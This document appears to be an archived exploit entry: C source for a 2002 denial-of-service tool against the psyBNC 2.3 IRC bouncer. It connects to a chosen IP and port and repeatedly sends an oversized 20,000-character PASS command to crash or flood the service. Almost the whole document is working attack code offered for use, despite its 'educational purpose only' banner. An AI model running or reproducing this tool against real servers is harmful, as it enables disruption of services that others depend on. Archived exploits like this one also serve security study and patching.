Psybnc v2.3 denial of service exploit. Sends a 20000 character password.
b68a05e384ec52f9ec173ea2e8f4f7a4510a639aefa527c2297b94830460519a
/*
*
* -()- The ImperialS -()-
*
* CONFIDENTIAL - SOURCE MATERIALS
* You are not allowed to reproduce this software without ImperialS
* security's team permissions.
*
* EDUCATIONAL PURPOSE ONLY !!!
********************************************************************************
*
* (C) COPYRIGHT ImperialS Security, 2002
* All Rights Reserved
* SUBJECT: PsyBnc DoS discovered by DVDMAN (DVDMAN@L33TSECURITY.COM)
*
* AUTHOR: Guilecool 22/04/2002
*
* Greetz: Azekiel, case, TheViper, kraz|, Nyo, anakata and all #imperialspub ppl.
*
*********************************************************************************
*
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <signal.h>
void addr_initialize();
void usage();
void handle_sigtrap();
main (int argc, char *argv[])
{
int sd, i, error;
struct sockaddr_in server_addr;
char user[] = "USER imps 127.0.0.1 127.0.0.1 :*\n";
char nick[] = "NICK ImperialS\n";
char passwd[21100];
char pwd[22000];
char ch[1024];
int PORT = atoi(argv[2]);
if(argc!=3) usage();
addr_initialize(&server_addr, PORT, (long)inet_addr(argv[1]));
signal(SIGPIPE, handle_sigtrap);
sd = socket(AF_INET, SOCK_STREAM, 0);
error = connect(sd, (struct sockaddr *) &server_addr, sizeof(server_addr));
printf("\nPsyBnc 2.3 FlooDer by Guilecool -()- The ImperialS -()-\n");
sleep(3);
for (i=0; i<20000; i++) passwd[i] = 'A';
sprintf(pwd, "PASS %s\n", passwd);
if (error == 0)
{
while(1) {
send(sd, user, strlen(user)+1, 0);
sleep(1);
send(sd, nick, strlen(nick)+1, 0);
sleep(5);
send(sd, pwd, strlen(pwd)+1, 0);
// recv(sd, ch, strlen(ch), 0); //Put it if u wanna recv the response
}
}
}
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}
void usage(int argc, char **argv)
{
fprintf(stdout, "\nUSAGE: <%s> <IP> <PORT>\n", argv[0]);
exit(0);
}
void handle_sigtrap (int signal) // anakata !!!!!!!!
{
printf("Disconnected.\n");
exit(0);
}